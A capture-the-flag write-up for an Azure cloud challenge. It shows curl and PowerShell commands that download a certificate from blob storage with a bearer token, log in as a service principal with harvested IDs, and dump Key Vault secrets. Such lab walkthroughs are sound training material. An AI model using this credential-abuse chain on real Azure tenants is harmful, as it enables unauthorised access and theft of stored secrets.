> For the complete documentation index, see [llms.txt](https://kabinet.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kabinet.gitbook.io/ctf-writeup/2023/dart-ctf/flag-8.md).

# Flag 8

Continuing where I left off from Flag 7, I retrieved the LORRI-Cert.txt

Request

```bash
curl --location 'https://coresat.blob.core.windows.net/datahandling/LORRI-Cert.txt' \
--header 'Authorization: Bearer ${token}' \
--header 'x-ms-version: 2017-11-09'
```

Response

<figure><img src="/files/AC5b9kfN8CqgD1OJ90Pc" alt=""><figcaption></figcaption></figure>

I saved the response to a file, and opening it using notepad shows a bunch of base64 encoded value. As the file name suggest that its some kind of certificate, more googling needs to be done.

The article from[ Azure](https://learn.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-9.5.0) shows how I can authenticate with the cert.

{% embed url="<https://learn.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-9.5.0>" %}

ChatGPT also helped out by giving step by step instructions.

<figure><img src="/files/X7lvnYZaRg2jdZ9tgiaY" alt=""><figcaption></figcaption></figure>

The Application ID is retrieved from the current version of `OSIRIS-REx.txt` found in `tsarray` stroage account at [Flag 2](/ctf-writeup/2023/dart-ctf/flag-2.md).

{% code overflow="wrap" %}

```powershell
Import-Certificate -FilePath C:\Users\Edwin\Desktop\cert.pfx -CertStoreLocation Cert:\CurrentUser\My
Get-ChildItem -Path Cert:\CurrentUser\My
Connect-AzAccount -CertificateThumbprint "208AC4D5170A93061432E06C16F573E776E6180C" -SubscriptionId "7b9bd916-8bd2-4446-9678-8531ef663edb" -ApplicationId "6de8103e-049a-4f88-9abf-41099a79ca53" -TenantId "5f487283-b88e-4ade-8035-7bcaac4156b3"
```

{% endcode %}

<figure><img src="/files/b6QZwT3d0f8gUX1zfsHA" alt=""><figcaption></figcaption></figure>

Running the `Get-AzResource` shows that I have access to an Azure Key Vault.

<figure><img src="/files/WJiCwvyp3sDtFPmHACek" alt=""><figcaption></figcaption></figure>

Now, I can either manually enumerate the Azure Key Vault, or use [MicroBurst](https://github.com/NetSPI/MicroBurst) `Get-AzPasswords` to list the key vault secrets.

```powershell
Get-AzKeyVault
Get-AzKeyVaultSecret -VaultName cubesat

Get-AzKeyVaultSecret -VaultName cubesat -Name Flag8 -AsPlainText
```

<figure><img src="/files/gHNlS5DnYltS37a4NO1s" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8eDuzMGHlJoJQQHK7QvF" alt=""><figcaption></figcaption></figure>

Flag 8 : DART spacecraft has entered final descent.